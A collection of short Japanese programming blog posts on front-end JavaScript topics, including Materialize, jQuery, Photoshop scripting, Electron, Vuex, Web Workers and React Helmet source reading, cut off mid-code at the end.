はじめに 突然ですが皆さんgoogleのmaterialize使ったことありますか？ 私はフロントにかける時間を効率的にするためによく使います。 Bootstrapには負けますがこちらのmaterializeもなかなかの知名度で使っている人も多い模様。 しかし使用法で分からなくてハマる経験があったので共有します。 結論：Dropdownの動かし方 今回はJavascriptのDropdownを例に解説します。 手順１ 下記の順番でCDNを読み込みます。materializeの公式サイトにcssとjavascript両方CDNがありますので貼り付けてください。直接ファイルをダウンロードしてもいいですがCDNでも後からimportantなどで上書きすれば反映されますので安心です。 注意点は、jQueryの後にjsファイルとmaterialize（jsとcss両方)を読み込むことと、materialize.min.cssの後にcssを読み込むことです。 理由はjQueryのCDNを読み込んでからでないとjsファイルに書いたjQueryが動かないからです。また、下に行けば行くほど優先されるのでmaterializeより自分のcssファイルを下にした方が上書きされやすくなります。 手順2 ファイル名.htmlに以上のコードをコピペする 手順3 ファイル名.js(htmlと同じファイル名）に上記のコードをコピペする。 注意点はjavascriptの場合はこのままコピペで大丈夫ですが、 jQueryの場合は下記のコードの中に書かないと動かないということです。 jqueryの基本 $(function() { //処理を書く部分 }); 手順4 jsを編集する。 上記の, optionsを取り除きましょう。 正しくは、init(elems)になります。 開発者モードで見るとoptionsが定義されていないことでエラーが起こっていました。 以上の手順で動くようになります。 補足：Optionsの使い方 jQueryバージョン 上記のように()の中に{}を入れてoptionsを書くだけです。 javascriptバージョン javascriptはelemsの後に,を書いて{}の中にoptionsを書きます。optionsの意味の説明については公式サイトに書いてありますのでそちらをご覧ください。 まとめ ここに書いたことは他のmaterializeの要素にも適用できるのでぜひ使ってみてください。 以上でゼロから実装するとかなり大変なドロップダウンがいとも簡単に出来上がります。 materializeだけでなくいろんなツールを使って要領よく進めていきましょう！（特に初心者）

目次 1.はじめに 2.課題 3.使ったもの 4.作成したもの 5.難しかったところ 6.次回に向けて 7.おわりに 1. はじめに みなさんこんにちは。 エンジニアの世界に足を踏み入れて3週間目になります。 まだまだよくわからないことばかりです、、。 今回はCodePenでTeachable Machineを使ってWebアプリづくりに挑戦してみました。 2. 課題 アマチュアスポーツを応援するECサイトに勤務しています。 （参照　https://note.com/uchida_n/n/n4977e3430048） サッカー、バスケ、バレー、チームウエアと扱う種目が多いため、商品の取り扱いが多く、エクセル上での管理になるため、お客様より問い合わせがあったときに、確認に時間がかかります。 そこで、どのメーカーでどのような商品を扱っているのか、メーカーごとにに管理することができないかと考えました。 3. 使ったもの ◆Teachable Machine ◆Code-Pen ◆Node-Red 4. 作成したもの 完成品↓ 今回はPCセキュリティがかかっており、アプリで画面録画したものを保存できなかったので、 画面録画したものをカメラで撮って保存してみました。見えずらくなりすみません。 ①Teachable Machineで画像の作成。 ②Code-Penで推論可能なWebアプリの作成 JavaScriptに①で作ったURLをはめ込む 【使用したコード】 See the Pen Untitled by 1234nu (@1234nu) on CodePen. ちなみにCSSで背景や文字色変更できます。カラーコードから貼り付けでいろんな色に変更できました。 参考: [カラーコード](https://itsakura.com/html-color-codes） 《おまけ》 Codepenをいじりながら、購入してもらったお客様にアンケートが取れるようなこともできると思い、Node-redとCodepenをつなげてみました。 See the Pen テスト by 1234nu (@1234nu) on CodePen. ↑記載した内容 Node-redでCodepenと連携。 送られてきた文章は最後の一行だけでした、、。 少し改善が必要ですね、、。 5. 難しかったところ CodePenでTeachable Machine自体はとても簡単に作成できました。ただ、Code-Penのコードが理解しきれていないので、どなたかが作成してくれたコードをひたすら調べてコピペして作成したいと思います。また、今回は携帯の画面を使ったので、場所により光で反射してしまうため、うまく識別できなかったです。 画像識別にはあまり向いていないものかと思いました。 6. 次回に向けて メーカー別取り扱い品番を記載するとすごく長くなってしまい、見えずらくなってしまいました。 もう少し読みやすいように改良が必要だと思いました。 今回はとりあえず人気のブランド3社でお試しで作成してみましたが、今後はどんどんブランドを増やして作成してみたいと思いました。動きでの識別や声での識別もできたら面白いかと思いました。 また、このシステムで確認した結果をLINEbotに連携し、ブランド別在庫を探せるようにしてみたいと思いました。 一番の理想はワンプッシュで在庫、取り扱い商品が分かればいいのですがアイデアは見えず、、、。 7. おわりに 学んだ技術をつなげての作成ができるとよりレベルの高い作品ができると思いました。 ただ、まだまだ駆け出しなのでコピペなどを行いながら、理解し、地道に頑張りたいと思います。

こんにちは。ずぶのスプレッド構文素人です。 spreadとは 「広げる」という意味らしいです。ジーニアス英和辞典第5版より。 スプレッド構文とは 基本的な機能は、くっついたオペランドの「展開」です、ということで理解しました。 配列やオブジェクトの中身を個別に展開してくれます。なるほどスプレッド。 ただ、関数の仮引数や分割代入に使われたときには、挙動が「展開」ではなく「集約」になるみたいです。 可変長引数にもできますね。 // 仮引数をスプレッド構文にする let myFunc = function (...arg) { console.log(arg); }; // 複数の引数を渡すと・・・ myFunc('a', 'b', 'c'); // 一つの配列に「集約」される // ['a', 'b', 'c'] // 分割代入と合わせて使う let src = ['a', 'b', 'c', 'd']; let [x, y, ...other] = src; // x -> 'a' // y -> 'b' // other -> ['c', 'd'] スプレッド演算子 ...がスプレッド演算子（らしい）。オペランドの前につくから単項演算子の仲間なんでしょうね知らんけど。 諸元 仕事で触っているのも自身で持っている本も古きJavaScript（ES5）で、改めて現代に追いつこうと「独習JavaScript」を読ませていただいてます。 Reactをちょろっと触ったなどはしていたので、なんとなくこういうことができるんだなあ、とぼーっとしていましたが体系的に基礎を学ぶことで最終的な学習コストができれば…と願ってやまない。

<div id="test1"> <p class="child">子要素1</p> </div> <div id="test2"> <p class="child">子要素2</p> </div> <div id="aaaaaaa"> <div id="test3"> <p class="child">子要素3</p> </div> </div> $(function() { $('.child').click(function(){ var id = $(this).closest('[id]').attr('id'); alert(id); }); }); alert結果 ⇛ test1 ⇛ test2 ⇛ test3

closest()とは 直近の親セレクタを指定できる。 メリット：子要素が全て同じの場合、親要素(自分も含む)で個別に識別できる ※idは同じ値は設定できない <p class="test" id="test1">子要素1</p> <p class="test" id="test2">子要素2</p> <p class="test" id="test3">子要素3</p> <p class="test" id="test4">子要素4</p> <p class="test" id="test5">子要素5</p> $('.test').click(function(){ alert($(this).closest('[id]').attr('id')); $(this).css('background-color','transparent'); $(this).siblings().css('background-color', 'red'); }); alert結果 ⇛ test1 ⇛ test2 ⇛ test3 ⇛ test4 ⇛ test5 abc

概要 vistaでphotoshopやってみる。 九九やってみる。 写真 サンプルコード var cr = String.fromCharCode(13); var str = ""; var i; var j; i = 0; j = 0; for (i = 1; i < 10; i++) { for (j = 1; j < 10; j++) { str += i * j; str += " "; } str += cr; } //alert(str); preferences.rulerUnits = Units.PIXELS; var doc = documents.add(500, 500); var layers = doc.artLayers; var layer1 = layers.add(); layer1.kind = LayerKind.TEXT; layer1.textItem.contents = str; layer1.textItem.size = 20; layer1.textItem.font = "TelopMinPro-E"; layer1.textItem.justification = Justification.LEFT; layer1.textItem.color.rgb.red = 0; layer1.textItem.color.rgb.green = 0; layer1.textItem.color.rgb.blue = 255; layer1.textItem.horizontalScale = 90; layer1.textItem.position = Array(50, 50); var pngOpt = new ExportOptionsSaveForWeb(); pngOpt.format = SaveDocumentType.PNG; pngOpt.optimized = true; pngOpt.interlaced = false; pngOpt.PNG8 = false; var filePath = new File("/Users/ore/test3.png"); app.activeDocument.exportDocument(filePath, ExportType.SAVEFORWEB, pngOpt); alert("ok"); 以上。

概要 vistaでphotoshopやってみる。 zundokoやってみる。 写真 サンプルコード var cr = String.fromCharCode(13); var str = ""; var i; var j; i = 0; j = 0; while (i < 4) { k = Math.random(); if (k < 0.5) { str += "zun "; i++; j += 4; } else { str += "doko "; i = 0; j += 5; } if (j > 20) { str += cr; j = 0; } } str += "doko ki yo shi!!"; //alert(str); preferences.rulerUnits = Units.PIXELS; var doc = documents.add(500, 500); var layers = doc.artLayers; var layer1 = layers.add(); layer1.kind = LayerKind.TEXT; layer1.textItem.contents = str; layer1.textItem.size = 20; layer1.textItem.font = "TelopMinPro-E"; layer1.textItem.justification = Justification.LEFT; layer1.textItem.color.rgb.red = 0; layer1.textItem.color.rgb.green = 0; layer1.textItem.color.rgb.blue = 255; layer1.textItem.horizontalScale = 90; layer1.textItem.position = Array(50, 50); var pngOpt = new ExportOptionsSaveForWeb(); pngOpt.format = SaveDocumentType.PNG; pngOpt.optimized = true; pngOpt.interlaced = false; pngOpt.PNG8 = false; var filePath = new File("/Users/ore/test2.png"); app.activeDocument.exportDocument(filePath, ExportType.SAVEFORWEB, pngOpt); alert("ok"); 以上。

最近はJavaScriptの学習が進み、自分で一からコーディングを行うだけではなく、公開されているwebサイトのソースコードの内容や構造を読み取る練習も行っています。 今回はJSファイルの読み取り中に見つけたuse strictの意味を下記のリファレンスで調べた時に感じた疑問点と、その回答を自分用の備忘録として残しておこうと思います。 use strict の意味については上記のリファレンスを読んだ方がずっと分かりやすいと思うので、本題の疑問点から… この構文には、著名なサイトを悩ませた落とし穴があります。それは、競合しないスクリプトをむやみに連結できないことです。Strict モードのスクリプトと非 Strict モードのスクリプトを連結することを考えてみてください。連結後のスクリプト全体が strict になるのです! これは逆も言えます。非 Strict のスクリプトと Strict のスクリプトを連結すると非 Strict になります。もちろん、スクリプトの連結は決して理想的なものではありませんが、どうしても必要な場合は、機能ごとに Strict を有効にすることを検討してください。 引用文の中の「競合しないスクリプトをむやみに連結できない」の一文をはじめて読んだ段階の自分はそもそも「スクリプトを連結するって何だ…？」から始まり、 スクリプトを連結する＝複数の人が作成したコードを一つのJSファイルの中にまとめておく事？ なのか、 スクリプトを連結する＝HTMLファイルに複数のscriptタグを作成したり、複数の外部JSファイルを読み込む事？ なのか、判断がつきませんでした。 仮に後者が「スクリプトを連結する」事だとすると、グローバルスコープではなくて、最初から狭い適応範囲の関数の文頭にuse strictを書いた方が良いのでは…？？など、疑問が絶えませんでした。 上記の疑問を解決するには、グローバルスコープにuse strictを記述した際に、どこからどこまでの範囲にstrictモードが適用されるのかを調べる事で解決すると考えた自分がたどり着いたサイトが…コチラ ただし、ちょっと注意点がありJavaScriptを外部ファイルで読み込ませ、そこに『"use strict"』を記述した場合はその外部ファイル内のみ、script要素を使ってインラインで『"use strict"』を記述した場合はそのscript要素内のみが『strictモード』の対象となります。 探している答えはこのページに大体書いてありました。とても助かります。 更に、何故複数のスクリプトを統合する必要があるのかについても記載されていました。 最近のウェブサイト構築では通信負荷とファイル容量を下げつつレンダリング速度を向上させる目的で複数のJavaScriptを結合してさらにそれを圧縮してから公開するといった手法が取られています。 ここまでの疑問と回答をまとめると スクリプトを連結する　＝　複数のJSファイルを一つにまとめる use strictは記述された範囲の中でだけで適用される機能 <script> "use strict"; // このタグ内はstrictモード </script> <script> //　このタグ内は通常のJavaScript </script> <script src="strictモードのJSファイル"></script><!-- このファイル内はstrictモード --> <script src="通常のJSファイル"></script><!-- このファイル内は通常のJavaScript --> ということが分かりました。 …初歩的な事だとは思うのですが、小さな事でも疑問が解決するとスッキリとした気持ちになるので、これからも引き続き色々調べていこうと思っています。

概要 vistaでphotoshopやってみる。 fizzbuzzやってみる。 写真 サンプルコード var cr = String.fromCharCode(13); var str = ""; var i; for (i = 1; i <= 100; i++) { if (i % 15 == 0) { str += "FizzBuzz "; } else if (i % 3 == 0) { str += "Fizz "; } else if (i % 5 == 0) { str += "Buzz "; } else { str += i + " "; } if (i % 10 == 0) { str += cr; } } //alert(str); preferences.rulerUnits = Units.PIXELS; var doc = documents.add(500, 500); var layers = doc.artLayers; var layer1 = layers.add(); layer1.kind = LayerKind.TEXT; layer1.textItem.contents = str; layer1.textItem.size = 20; layer1.textItem.font = "TelopMinPro-E"; layer1.textItem.justification = Justification.LEFT; layer1.textItem.color.rgb.red = 0; layer1.textItem.color.rgb.green = 0; layer1.textItem.color.rgb.blue = 255; layer1.textItem.horizontalScale = 90; layer1.textItem.position = Array(50, 50); var pngOpt = new ExportOptionsSaveForWeb(); pngOpt.format = SaveDocumentType.PNG; pngOpt.optimized = true; pngOpt.interlaced = false; pngOpt.PNG8 = false; var filePath = new File("/Users/ore/test0.png"); app.activeDocument.exportDocument(filePath, ExportType.SAVEFORWEB, pngOpt); alert("ok"); 以上。

概要 vistaでphotoshopやってみる。 キャンバス作って、文字書いて、pngで保存する。 写真 環境 windows vista photoshop cs2 サンプルコード //alert(app); //alert(app.version); preferences.rulerUnits = Units.PIXELS; var doc = documents.add(300, 300); var layers = doc.artLayers; var layer1 = layers.add(); layer1.kind = LayerKind.TEXT; layer1.textItem.contents = "hello photoshop!"; layer1.textItem.size = 30; layer1.textItem.font = "TelopMinPro-E"; layer1.textItem.justification = Justification.LEFT; layer1.textItem.color.rgb.red = 255; layer1.textItem.color.rgb.green = 0; layer1.textItem.color.rgb.blue = 0; layer1.textItem.horizontalScale = 90; layer1.textItem.position = Array(50, 50); //alert(app.activeDocument); var pngOpt = new ExportOptionsSaveForWeb(); pngOpt.format = SaveDocumentType.PNG; pngOpt.optimized = true; pngOpt.interlaced = false; pngOpt.PNG8 = false; var filePath = new File("/Users/ore/test.png"); app.activeDocument.exportDocument(filePath, ExportType.SAVEFORWEB, pngOpt); //alert(app.activeDocument.path); alert("ok"); 以上。

バージョン番号 セマンティックバージョニングのルールに従って記述します。 1.2.3(メジャー.マイナー.パッチ)のように記述します。 位置 説明 メジャー 後方互換のない修正 マイナー 後方互換のある機能追加 パッチ 後方互換のあるバグの修正

クエリストリングは以下のコードで取得できます const queryString = window.location.search; console.log(queryString); // ?k=v&key=val&keyword=value このままだと扱いづらいので、URLSearchParams を用いて変換します ref: URLSearchParams｜MDN ＊Can I use によるとIEはサポート外ですが、御時世、既に無視して良いでしょう const queryString = window.location.search; const queryParam = new URLSearchParams(queryString); const kVal = queryParam.get('k'); console.log(kVal); // v const keyVal = queryParam.get('key'); console.log(keyVal); // val const keywordVal = queryParam.get('keyword'); console.log(keywordVal); // value ?=& でごりごりしなくてヨシ！

Electronを使用した開発を最近行ったので、個人的に便利だったモジュールや小技などをまとめていこうと思います。 使用したElectronのバージョンは15系です。 Electronのメインプロセス側の基本コード 基本のメインプロセスの構成はだいたい誰が書いてもこのようになると思いますので、こちらをベースに紹介していこうと思います。 すべてのプラットフォームで動作する結合絶対パスを作成するためにnode.jsの標準モジュールであるpathを使用しています。 main.js //だいたいこんな感じ import path from "path"; let mainWindow; const createMainWindow = () => { mainWindow = new BrowserWindow({ width: 1200, height: 800, webPreferences: { preload: path.resolve(__dirname, 'preload.js'), }, }); mainWindow.loadFile(path.resolve(__dirname, 'index.html')); }; app.on('ready', () => { createMainWindow(); }); アプリの二重起動を防止したい 開発するデスクトップアプリによっては、アプリの複数起動を避けたい場合もあると思います。 requestSingleInstanceLock()というメゾットでアプリケーションのインスタンスのロックが成功したかどうかが分かります。(ドキュメント) ロックに失敗した場合(falseの場合)、すでにこのアプリのインスタンスがロックされているということなので、既にアプリが起動しているかどうかを検知することができます。 main.js const createMainWindow = () => { // 省略 }; const gotTheLock = app.requestSingleInstanceLock(); // false(既に起動)の場合　即終了 if (!gotTheLock) { console.log("二重起動ストップ!! 即停止!!"); app.quit(); } // true(初回起動)の場合 app.on('ready', () => { createMainWindow(); }); 開発時にホットリロードさせたい 開発時にソースコードを変更するたびに、アプリを落として再実行するのはかなり面倒くさいですよね。 electron-reloadというライブラリを使えば簡単にホットリロード設定が可能です。 main.js const electronReload = require('electron-reload') //環境変数で開発環境かどうかをチェック const isDev = process.env.NODE_ENV === 'development'; // macとwinでElectron実行のPATHが違う const execPath = process.platform === 'win32' ? '../node_modules/electron/dist/electron.exe' : '../node_modules/.bin/electron'; if(isDev) { electronReload(__dirname, { electron: path.resolve(__dirname, execPath) }); } OS起動時・ログイン時にアプリも自動起動させたい 常駐するアプリなどを実装する際，OSの起動やログイン時にアプリも一緒に起動させたい場合もあると思います。 そのような場合、auto-launchというモジュールを使うことによって、Windowsやmacの起動時に自動でアプリを起動するように「レジストリ」や「ログイン項目」に登録することができます。 npm install --save auto-launch main.js import AutoLaunch from "auto-launch"; //環境変数で開発環境かどうかをチェック const isDev = process.env.NODE_ENV === 'development'; const launch = new AutoLaunch({ name: "your-app-name" }); // 即実行 (async () => { 　// 自動起動アプリとして登録されているかチェック(Promiseで返ってくる) const isEnabled = await launch.isEnabled(); // 本番環境かつ自動起動アプリとして登録されていない場合、レジストリ等に登録 !isDev && !isEnabled && launch.enable(); })(); const createMainWindow = () => { // 略 } // 略 開発環境で auto-launch を登録してしまうと空のelectronアプリが登録されてしまうので、環境変数などで本番環境でのみ動作するように気をつけましょう。 リンクをふんだらブラウザに飛ばしたい Electron上でURLのリンクを踏むと、Electronで別ウィンドウが立ち上がり、そこでページが開かれてしまいます。 Electronがリンクを開くときに発生するイベントには2種類あり、リンクをクリックしたときに発生するwill-navigate、target="_blank"などで新しいウィンドウを開こうとするときに発生するnew-windowの両方の処理にハンドラをかませます。 shell.openExternalはElectronの標準のモジュールで、URLを既定のブラウザで開くことができます。 (特定のページはElectronで開きたい！！みたいな場合はif文やswitch文で条件分岐させるとよいと思います) main.js const createMainWindow = () => { mainWindow = new BrowserWindow({ width: 1200, height: 800, webPreferences: { preload: path.resolve(__dirname, 'preload.js'), }, }); // リンクをふんだらブラウザに飛ばす処理 const urlOpenhandler = (event: Electron.Event, url: string) => { if (url.match(/^http/)) { // Electronデフォルトの処理を停止 event.preventDefault(); // 既定のブラウザでurlを開く shell.openExternal(url); } }; // リンクをクリックしたときの処理 mainWindow.webContents.on('will-navigate', urlOpenhandler); // 新しいウィンドウを開こうとしたときの処理 mainWindow.webContents.on('new-window', urlOpenhandler); // ここまで mainWindow.loadFile(path.resolve(__dirname, 'index.html')); }; タスクトレイ登録 タスクトレイ登録というのは、Windowsでいう以下の画像に表示されているような場所にアイコンを表示させることです。 以下のサンプルコードを見れば使い方はなんとなくわかると思いますが、ドキュメントに色んな設定メニュー・オプションがのっているのでタスクトレイに他の機能を付けた場合は参照してください。 main.js // グローバルスコープで定義 let tray = null; app.on("ready", () => { createMainWindow(); 　 　// タスクトレイ用のアイコンのパス定義 const iconPath = path.resolve( __dirname, `iconName.${process.platform === "win32" ? "ico" : "png"}` ); 　 　// trayのインスタンス化 tray = new Tray(iconPath); // メニューの設定 tray.setContextMenu( Menu.buildFromTemplate([ { label: "リロード", click: () => { mainWindow.reload(); }, }, { type: "separator", }, { label: "Exit", role: "quit", }, ]) ); }); Windowsでは .ico ・Macでは.png 形式のアイコン画像を登録する必要があります。 trayをグローバルスコープではなくローカルスコープ(readyの中など)で定義してしまうと、本番環境ではガベージコレクションによってタスクトレイから消されてしまうことがあるので注意が必要です。 グローバルショートカット登録 Electoronではアプリにフォーカスが当たっていない状態でもショートカットを登録することができます。 globalShortcut.register(登録したいキー, () => 実行したいコード)というメゾットで簡単に設定することが可能です。ドキュメント 既にグローバルショートカットキーとして使用されているキーを登録はできません。 アプリを閉じる際はグローバルショートカットキーを解除してあげることが良心的だと思います。 以下、AltとSpaceキーでアプリを出したり消したりするサンプルです。 main.js app.on("ready", () => { globalShortcut.register("Alt+Space", () => { // アプリのウィンドウがユーザーに見えているかチェック if (mainWindow.isVisible()) { mainWindow.hide(); } else { mainWindow.show(); mainWindow.focus(); } }); createMainWindow(); }); app.on('will-quit', () => { // ショートカットの登録解除 globalShortcut.unregister('Alt+Space') }) Ctrl+S などをグローバルショートカットキーとして登録してしまうと、すべてのアプリにおいてCtrl+S 保存できないみたいなことが起こりえるのであまり使わないキーで登録しましょう。 フォーカスはずれたときに閉じたい ランチャーアプリのようなアプリを作る際は、アプリからフォーカスが外れるとアプリを閉じたり隠したりしたいという場面が発生すると思います。 browser-window-blurを使えば、アプリのウィンドウからフォーカスが外れたときにイベントを起こすことができます。(ドキュメント) main.js app.on('ready', () => { createMainWindow(); }); app.on("browser-window-blur", () => { mainWindow.hide(); }); 最後に 以上、僕がElectronでの開発時に使用したTipsでした! どなたかの参考になれば幸いです。ありがとうございました

localStorageとは localStorageとは簡単に言うとWebブラウザにデータを保存できる場所のこと。 localStorageにデータ保存 index.js //setItemメソッドの第一引数にはキー、第2引数には値 localStorage.setItem('key', 'value') localStorageからデータを取得 index.js //getItemメソッドにはキーを指定 const result = localStorage.getItem('key') console.log(result) //出力結果： value localStorageのデータを削除 index.js localStorage.removeItem('key') 応用・その他 参考

概要 スプレッド演算子がなにかわからない // このようにも書ける1 ...mapGetters([ 'getGenreById' ]) この...の書き方わからなかった． 結果 javascript のスプレッド演算子の書き方であった． Vue.js に依存する書き方ではない． 参考: https://www.it-swarm-ja.tech/ja/javascript/%E3%82%B9%E3%83%97%E3%83%AC%E3%83%83%E3%83%89%E6%A7%8B%E6%96%87%EF%BC%88%EF%BC%89%E3%81%AFmapgetters%E3%81%A7%E3%81%A9%E3%81%AE%E3%82%88%E3%81%86%E3%81%AB%E6%A9%9F%E8%83%BD%E3%81%97%E3%81%BE%E3%81%99%E3%81%8B%EF%BC%9F/836866119/ mapGettersとmapActionsは、基本的にvuexが提供するヘルパーであり、メソッド名としてキーを持ち、定義が定義されたメソッドとして値を持つオブジェクトを返します。このオブジェクトを...（オブジェクトスプレッド演算子）と組み合わせると、それを計算オブジェクトまたはメソッドオブジェクトの個々の関数にそれぞれ広げます。 実装例 moview_list.vue <script> import axios from "axios"; import {mapState, mapGetters} from 'vuex'; export default { created() { this.$store.dispatch('set_movie_list') }, computed: { saleMovies(){ return this.$store.getters.saleMovies; }, // このようにも書ける1 // ...mapGetters([ // 'getGenreById' // ]) // このようにも書ける2 getGenreById() { return this.$store.getters.getGenreById; }, }, } </script>

本稿では、JavaScriptのWeb Workerを手軽に試すために、Web Workerを動かすための最小限の手順とコードを示します。 使わないもの 最小限構成でいくので以下は使いません: コンパイラ: TypeScriptなどは使わず、素のJavaScriptで。 バンドラー: webpackなどは使いません。 フレームワークやライブラリ: ReactやNPMモジュールも一切なしでいきます。 コード量も最小限 コードも過剰にならない範囲でシンプルにします。 ファイル数もできるだけ少なく済ませます。 Web Workerとは Web Workerは、雑に言うと、ブラウザ上でCPU負荷が大きい処理を動かすのに役立つ仕組みです。ワーカーの処理は、UI側の処理をブロックしないのが特徴です。ワーカーにはUIとは別のスレッドが割り当てられます。CPUを複数台積んでるパソコンなら、ワーカーはマルチコアを活用できる可能生があります。 詳しい説明はMDNなどを御覧ください。 Web Workerを動かす最小限の手順とコード ワーカーを起動させてみよう まず、index.htmlを作ります。 index.html <!DOCTYPE html> <meta charset="UTF-8" /> <script> // ワーカーを起動するコード const myWorker = new Worker("worker.js"); </script> 次に、worker.jsにワーカーの実装を書きます。 worker.js console.log("✅worker started!"); index.htmlからworker.jsを参照できるように、この2つのファイルは同じディレクトリに置きます。 . ├── index.html └── worker.js Google Chromeではfile://プロトコルではWeb Workerを起動できないので、ローカルにHTTPサーバーを立ててHTTP越しにindex.htmlを開きます。index.htmlとworker.jsがGETできればHTTPサーバーは何でもいいのですが、http-serverが手軽なのでここではこれを使います。 # index.htmlがあるディレクトリでHTTPサーバーを起動する npx http-server -c-1 http://127.0.0.1:8080にアクセスします。Google ChromeのDev ToolsのConsoleを開いて、「worker started!」と表示されていれば、起動成功です。 ワーカーにメッセージを送ってみよう 親とワーカーの通信は、メッセージを介して行います。ワーカー側でメッセージを受け取るには、messageイベントを購読します。具体的には次のコードをworker.jsに追加します。 worker.js // メッセージイベントを購読する self.addEventListener("message", (e) => { // メッセージを受け取ったときに動かすコード console.log("worker received a message", e); }); ワーカーにメッセージを送るには、ワーカーオブジェクトのpostMessageメソッドを使います。 index.html <script> // ワーカーを起動するコード const myWorker = new Worker("worker.js"); // メッセージを送信する myWorker.postMessage("hey"); </script> コードを追記したら、ブラウザをリロードします。すると、コンソールに「worker received a message: hey」と表示されるはずです。 ワーカーからメッセージを受信してみよう ワーカーからのメッセージを親が受信するには、ワーカーオブジェクトのmessageイベントを購読します。 index.html <script> // ワーカーを起動するコード const myWorker = new Worker("worker.js"); // ...中略... // ワーカーからのメッセージを受信する myWorker.addEventListener("message", (e) => { console.log("parent received message:", e.data); }); </script> ワーカーからはself.postMessageメソッドでメッセージを送信します。 worker.js console.log("✅worker started!"); // ...中略... // 親にメッセージを送信する self.postMessage("hello"); まとめ Web Workerは重い処理をバックグラウンドで動かすのに役立つ仕組み Web Workerの起動はnew Worker(ファイル名) 親とワーカーのコミュニケーションはメッセージの送受信 受信はmessageイベントを購読する 送信はpostMessageメソッドを呼ぶ

色んなところでJavaScriptのソースを読んでいると、最近は関数を使いこなして、関数型プログラミング的な書き方をして分岐や繰り返し処理をあまり書かなくなっている傾向にあるように思います。 私も最近はJavaScriptのコードを書く時は、極力ifやforなどを使った命令型のプログラミングではなく、標準で用意されている高階関数（関数を引数に取る関数）を駆使してすっきり書くように心がけています。 ただ、初学者にとってはifやforを使って書くことと比べてどんなメリットがあるのかいまいち分かりにくいところがあるので、そんな方に向けてサンプルを使って少しでも理解を深めてもらえたらいいなと思います。 やりたいこと まずは以下のような、顧客情報、配送先情報、請求先情報の３つのオブジェクトがあるとします。 // 顧客情報 const customer = { customer_name : 'A商店', customer_address : '東京都渋谷区', customer_mail : 'ashop@sample.com', } // 配送先情報 const deliveryPartner = { delivery_name : 'B株式会社', delivery_address : '東京都新宿区', delivery_mail : 'bcompany@sample.com', } // 請求先情報 const billingPartner = { billing_name : 'C株式会社', billing_address : '東京都品川区', delivery_mail : 'ccpmpany@sample.com', } これらのオブジェクトのうち、どのオブジェクトが渡ってくるかは分かりませんが、とにかく、渡ってきたオブジェクトの住所の値が取得できる関数を作りたいとします。 顧客情報の場合は「customer_address」、配送先情報の場合は「delivery_address」、請求先情報の場合は「billing_address」の値をそれぞれ取得したいです。 キー名が「address」のように統一されていれば簡単な話でしたが、残念ながらオブジェクトによってキー名が異なるため、少し工夫が必要そうです。 方法1. 条件分岐を使ってプロパティをチェック まず簡単に思いつきそうなのは、ifを使ってプロパティの存在チェックを行って、それぞれのプロパティの値を返すようなものでしょうか。例えば以下のようになります。 const getAddress = (obj) => { if('customer_address' in obj) { return obj.customer_address } else if ('delivery_address' in obj) { return obj.delivery_address } else if ('billing_address') { return obj.billing_address } else { return null } } プロパティの存在チェックはいくつか方法がありますが、今回はinを使いました。 こうするとそれぞれのオブジェクトで住所が取得できます。 getAddress(customer) // ⇒'東京都渋谷区' getAddress(deliveryPartner) // ⇒ '東京都新宿区' getAddress(billingPartner) // ⇒ '東京都品川区' 実行結果は問題ないですが、この方法はいまいちイケてないですね。 何がイケてないかというと、条件分岐が複数あるので、そのパターン分動きを確認する必要があり、テストが面倒で、バグの温床にもになりやすいです。 また、新たに住所情報を持つ別のオブジェクトが増えてしまったとき、対応するにはこの関数を修正をする必要があります。 汎用性を高めるには、オブジェクトが増えた場合でもソースコードを修正せずに対応できることが理想です。 方法2. キーの配列をループして文字列チェック では、オブジェクトが増えた場合でも対応できるようにするにはどうしたら良いでしょうか。 住所情報にはキーに「address」という文字列が含まれているので、その法則を利用することにします。 キー情報を配列で取得し、ループでキー名をチェックしながら、「address」という文字が含まれていた場合にそのプロパティを使って値を取得すればよさそうです。例えば以下のようになります。 const getAddress = (obj) => { const keys = Object.keys(obj) for (const key of keys) { if(key.includes('address')) { return obj[key] } } return null } こうすれば、新しいオブジェクトが増えたとしても、住所を表すキー名に「address」という文字があれば対応できるようになりました。 ifで１つ１つ分岐していたものよりは、汎用性は高くなりました。 これでも悪くはないかもしれませんが、配列に用意されている関数を使うことでより簡潔に書くことができます。 方法3. 配列のfind関数を使用する javaScriptの配列にはfindという関数が用意されており、関数を引数に取ります。 コールバック関数の中で条件を満たした要素が返るようになっており、その中で「address」という文字が含まれている要素を返すように作ります。 詳しくはMDNのサイトなどで確認してもらうとして、実際のコードは例えば以下のようになります。 const getAddress = (obj) => { return obj[Object.keys(obj).find(e => e.includes('address'))] } やっていることは方法2と同じですが、１行で済むようになり、簡潔になりました。 オブジェクトが増えても対応できますし、条件分岐がないので確認作業も方法1に比べて楽になりそうですね。 方法4. オブジェクト自身のメソッドにする 先ほどまでは関数の引数としてオブジェクトを受け取る方法でしたが、オブジェクトを活用するという意味ではオブジェクト自身のメソッドにしてしまう方法も良いかと思います。 例えば以下のようになります。 // アロー関数ではなく関数式であることに注意 const getAddress = function() { return this[Object.keys(this).find(e => e.includes('address'))] } customer.getAddress = getAddress // オブジェクトのプロパティとしてセット（メソッド） // オブジェクトのメソッドとして呼び出す customer.getAddress() // ⇒'東京都渋谷区' 注意点としては、関数を定義するときにアロー関数ではなく関数式を使う必要があることです。 これは、アロー関数と関数式では、関数内でのthisの挙動に違いがあるためです。 アロー関数ではthisは静的に決まる（定義された場所できまる）が、関数式ではthis動的に決まるとうい性質があります。 そのため、オブジェクトのメソッドとして使用したい場合は、関数式で定義することで、thisはメソッドを呼び出すオブジェクト自身を指すようになります。 JavaScriptでは標準で配列に対して多くの高階関数が用意されています。 うまく使いこなすことで条件分岐が減り、結果として確認作業が楽になりコードも簡潔になる場面が多くあるので、できる限り使いこなしていきたいところです。

React Helmet のソースコードを読んでみたので、そのメモ。 間違い等がありましたら、ご指摘お願いします。 React Helmet とは？ React で ヘッドタグを操作したい時に使う ライブラリ。 使い方は、特定のコンポーネントで、 import {Helmet} from "react-helmet" // 省略 const hoge = () => { return( <Helmet> <title>hoge</title> <meta name="description" content="hoge"/> </Helmet> // 省略 ) } を加えるだけ。これで、 の中の や が head タグ内に加わります。 では、読んでみましょう！ React Helmet のコード こちらのソースコード を見ても分かるように、src フォルダ には たったの３つしかファイルはありません。 量だけなら簡単に読めそうですね。 まずは、Helmet.js から読んでみましょう。 Helmet.js import React from "react"; import PropTypes from "prop-types"; import withSideEffect from "react-side-effect"; // 省略 const Helmet = Component => class HelmetWrapper extends React.Component { // 省略 render() { const {children, ...props} = this.props; let newProps = {...props}; if (children) { newProps = this.mapChildrenToProps(children, newProps); } return <Component {...newProps} />; } const NullComponent = () => null; const 